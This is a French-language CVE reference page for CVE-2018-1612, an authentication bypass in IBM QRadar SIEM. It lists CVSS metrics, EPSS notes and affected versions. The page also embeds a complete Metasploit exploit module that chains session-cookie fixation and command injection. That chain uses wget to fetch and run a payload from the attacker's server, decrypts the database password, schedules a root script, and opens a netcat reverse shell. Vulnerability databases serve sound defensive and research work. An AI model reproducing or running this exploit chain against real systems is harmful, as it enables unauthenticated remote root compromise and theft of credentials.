CVE-2018-1612 : Détail

CVE-2018-1612

5.8
/
Moyen
A01-Broken Access Control
78.99%V4
Network
2018-07-17
16h00 +00:00
2024-09-16
23h51 +00:00
CVE.org
NVD
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Descriptions du CVE

IBM QRadar Incident Forensics (IBM QRadar SIEM 7.2, and 7.3) could allow a remote attacker to bypass authentication and obtain sensitive information. IBM X-Force ID: 144164.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 5.8 MEDIUM CVSS:3.0/A:N/AC:L/AV:N/C:L/I:N/PR:N/S:C/UI:N/E:U/RC:C/RL:O

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Changed

An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case the vulnerable component and the impacted component are different.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

Low

There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is constrained. The information disclosure does not cause a direct, serious loss to the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Exploit Code Maturity

This metric measures the likelihood of the vulnerability being attacked, and is typically based on the current state of exploit techniques, exploit code availability, or active, 'in-the-wild' exploitation.

Unproven

No exploit code is available, or an exploit is theoretical.

Remediation Level

The Remediation Level of a vulnerability is an important factor for prioritization.

Official fix

A complete vendor solution is available. Either the vendor has issued an official patch, or an upgrade is available.

Report Confidence

This metric measures the degree of confidence in the existence of the vulnerability and the credibility of the known technical details.

Confirmed

Detailed reports exist, or functional reproduction is possible (functional exploits may provide this). Source code is available to independently verify the assertions of the research, or the author or vendor of the affected code has confirmed the presence of the vulnerability.

Environmental Metrics
V3.0 5.8 MEDIUM CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Changed

An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case the vulnerable component and the impacted component are different.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

Low

There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is constrained. The information disclosure does not cause a direct, serious loss to the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 45005

Date de publication : 2018-07-10 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'securerandom' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'IBM QRadar SIEM Unauthenticated Remote Code Execution', 'Description' => %q{ IBM QRadar SIEM has three vulnerabilities in the Forensics web application that when chained together allow an attacker to achieve unauthenticated remote code execution. The first stage bypasses authentication by fixating session cookies. The second stage uses those authenticated sessions cookies to write a file to disk and execute that file as the "nobody" user. The third and final stage occurs when the file executed as "nobody" writes an entry into the database that causes QRadar to execute a shell script controlled by the attacker as root within the next minute. Details about these vulnerabilities can be found in the advisories listed in References. The Forensics web application is disabled in QRadar Community Edition, but the code still works, so these vulnerabilities can be exploited in all flavours of QRadar. This module was tested with IBM QRadar CE 7.3.0 and 7.3.1. IBM has confirmed versions up to 7.2.8 patch 12 and 7.3.1 patch 3 are vulnerable. Due to payload constraints, this module only runs a generic/shell_reverse_tcp payload. }, 'Author' => [ 'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module ], 'License' => MSF_LICENSE, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'References' => [ ['CVE', '2016-9722'], ['CVE', '2018-1418'], ['CVE', '2018-1612'], ['URL', 'https://blogs.securiteam.com/index.php/archives/3689'], ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/ibm-qradar-siem-forensics.txt'], ['URL', 'http://seclists.org/fulldisclosure/2018/May/54'], ['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg22015797'] ], 'Targets' => [ [ 'IBM QRadar SIEM <= 7.3.1 Patch 2 / 7.2.8 Patch 11', {} ], ], 'Payload' => { 'Compat' => { 'ConnectionType' => 'reverse', } }, 'DefaultOptions' => { 'SSL' => true, # we can only run shell scripts, so set a reverse netcat payload by default # the payload that will be run is in the first few lines of @payload 'PAYLOAD' => 'generic/shell_reverse_tcp', }, 'DisclosureDate' => 'May 28 2018', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(443), OptString.new('SRVHOST', [true, 'HTTP server address', '0.0.0.0']), OptString.new('SRVPORT', [true, 'HTTP server port', '4448']), ]) end def check res = send_request_cgi({ 'uri' => '/ForensicsAnalysisServlet/', 'method' => 'GET' }) if res.nil? vprint_error 'Connection failed' return CheckCode::Unknown end if res.code == 403 return CheckCode::Detected end CheckCode::Safe rescue ::Rex::ConnectionError vprint_error 'Connection failed' return CheckCode::Unknown end # Handle incoming requests from QRadar def on_request_uri(cli, request) print_good("#{peer} - Sending privilege escalation payload to QRadar...") print_good("#{peer} - Sit back and relax, Shelly will come visit soon!") send_response(cli, @payload) end # step 1 of the exploit, bypass authentication in the ForensicAnalysisServlet def set_cookies @sec_cookie = SecureRandom.uuid @csrf_cookie = SecureRandom.uuid post_data = "#{rand_text_alpha(5..12)},#{rand_text_alpha(5..12)}," + "#{@sec_cookie},#{@csrf_cookie}" res = send_request_cgi({ 'uri' => '/ForensicsAnalysisServlet/', 'method' => 'POST', 'ctype' => 'application/json', 'cookie' => "SEC=#{@sec_cookie}; QRadarCSRF=#{@csrf_cookie};", 'vars_get' => { 'action' => 'setSecurityTokens', 'forensicsManagedHostIps' => "#{rand(256)}.#{rand(256)}.#{rand(256)}.#{rand(256)}" }, 'data' => post_data }) if res.nil? or res.code != 200 fail_with(Failure::Unknown, "#{peer} - Failed to set the SEC and QRadar CSRF cookies") end end def exploit print_status("#{peer} - Attempting to exploit #{target.name}") # run step 1 set_cookies # let's prepare step 2 (payload) and 3 (payload exec as root) @payload_name = rand_text_alpha_lower(3..5) root_payload = rand_text_alpha_lower(3..5) if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") srv_host = Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] end http_service = (datastore['SSL'] ? 'https://' : 'http://') + srv_host + ':' + datastore['SRVPORT'].to_s service_uri = http_service + '/' + @payload_name print_status("#{peer} - Starting up our web service on #{http_service} ...") start_service({'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => "/#{@payload_name}" }}) @payload = %{#!/bin/bash # our payload that's going to be downloaded from our web server cat <<EOF > /store/configservices/staging/updates/#{root_payload} #!/bin/bash /usr/bin/nc -e /bin/sh #{datastore['LHOST']} #{datastore['LPORT']} & EOF ### below is adapted from /opt/qradar/support/changePasswd.sh [ -z $NVA_CONF ] && NVA_CONF="/opt/qradar/conf/nva.conf" NVACONF=`grep "^NVACONF=" $NVA_CONF 2> /dev/null | cut -d= -f2` FRAMEWORKS_PROPERTIES_FILE="frameworks.properties" FORENSICS_USER_FILE="config_user.xml" FORENSICS_USER_FILE_CONFIG="$NVACONF/$FORENSICS_USER_FILE" # get the encrypted db password from the config PASSWORDENCRYPTED=`cat $FORENSICS_USER_FILE_CONFIG | grep WEBUSER_DB_PASSWORD | grep -o -P '(?<=>)([\\w\\=\\+\\/]*)(?=<)'` QVERSION=$(/opt/qradar/bin/myver | awk -F. '{print $1$2$3}') AU_CRYPT=/opt/qradar/lib/Q1/auCrypto.pm P_ENC=$(grep I_P_ENC ${AU_CRYPT} | cut -d= -f2-) P_DEC=$(grep I_P_DEC ${AU_CRYPT} | cut -d= -f2-) AESKEY=`grep 'aes.key=' $NVACONF/$FRAMEWORKS_PROPERTIES_FILE | cut -c9-` #if 7.2.8 or greater, use new method for hashing and salting passwords if [[ $QVERSION -gt 727 || -z "$AESKEY" ]] then PASSWORD=$(perl <(echo ${P_DEC} | base64 -d) <(echo ${PASSWORDENCRYPTED})) [ $? != 0 ] && echo "ERROR: Unable to decrypt $PASSWORDENCRYPTED" && exit 255 else PASSWORD=`/opt/qradar/bin/runjava.sh -Daes.key=$AESKEY com.q1labs.frameworks.crypto.AESUtil decrypt $PASSWORDENCRYPTED` [ $? != 0 ] && echo "ERROR: Unable to decrypt $PASSWORDENCRYPTED" && exit 255 fi PGPASSWORD=$PASSWORD /usr/bin/psql -h localhost -U qradar qradar -c \ "insert into autoupdate_patch values ('#{root_payload}',#{rand(1000)+100},'minor',false,#{rand(9999)+100},0,'',1,false,'','','',false)" # kill ourselves! (sleep 2 && rm -- "$0") & } # let's do step 2 then, ask QRadar to download and execute our payload print_status("#{peer} - Asking QRadar to download and execute #{service_uri}") exec_cmd = "$(mkdir -p /store/configservices/staging/updates && wget --no-check-certificate -O " + "/store/configservices/staging/updates/#{@payload_name} #{service_uri} && " + "/bin/bash /store/configservices/staging/updates/#{@payload_name})" payload_step2 = "pcap[0][pcap]" + "=/#{rand_text_alpha_lower(2..6) + '/' + rand_text_alpha_lower(2..6)}" + "&pcap[1][pcap]=#{Rex::Text::uri_encode(exec_cmd, 'hex-all')}" uri_step2 = "/ForensicsAnalysisServlet/?forensicsManagedHostIps" + "=127.0.0.1/forensics/file.php%3f%26&action=get&slavefile=true" res = send_request_cgi({ 'uri' => uri_step2 + '&' + payload_step2, 'method' => 'GET', 'cookie' => "SEC=#{@sec_cookie}; QRadarCSRF=#{@csrf_cookie};", }) # now we just sit back and wait for step 2 payload to be downloaded and executed # ... and then step 3 to complete. Let's give it a little more than a minute. Rex.sleep 80 end end

Products Mentioned

Configuraton 0

Ibm>>Qradar_security_information_and_event_manager >> Version From (including) 7.2.0 To (including) 7.2.8

Ibm>>Qradar_security_information_and_event_manager >> Version 7.2.8

Ibm>>Qradar_security_information_and_event_manager >> Version 7.2.8

Ibm>>Qradar_security_information_and_event_manager >> Version 7.2.8

Ibm>>Qradar_security_information_and_event_manager >> Version 7.2.8

Ibm>>Qradar_security_information_and_event_manager >> Version 7.2.8

Ibm>>Qradar_security_information_and_event_manager >> Version 7.2.8

Ibm>>Qradar_security_information_and_event_manager >> Version 7.2.8

Ibm>>Qradar_security_information_and_event_manager >> Version 7.2.8

Ibm>>Qradar_security_information_and_event_manager >> Version 7.2.8

Ibm>>Qradar_security_information_and_event_manager >> Version 7.2.8

Ibm>>Qradar_security_information_and_event_manager >> Version 7.2.8

Configuraton 0

Ibm>>Qradar_security_information_and_event_manager >> Version 7.3.0

Ibm>>Qradar_security_information_and_event_manager >> Version 7.3.1

Ibm>>Qradar_security_information_and_event_manager >> Version 7.3.1

Ibm>>Qradar_security_information_and_event_manager >> Version 7.3.1

Ibm>>Qradar_security_information_and_event_manager >> Version 7.3.1

Ibm>>Qradar_security_information_and_event_manager >> Version 7.3.1

Références

https://www.exploit-db.com/exploits/45005/
Tags : exploit, x_refsource_EXPLOIT-DB
Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC) sont maintenues par MITRE Corporation, et les informations sur les configurations logicielles et matérielles (CPE) proviennent du NVD.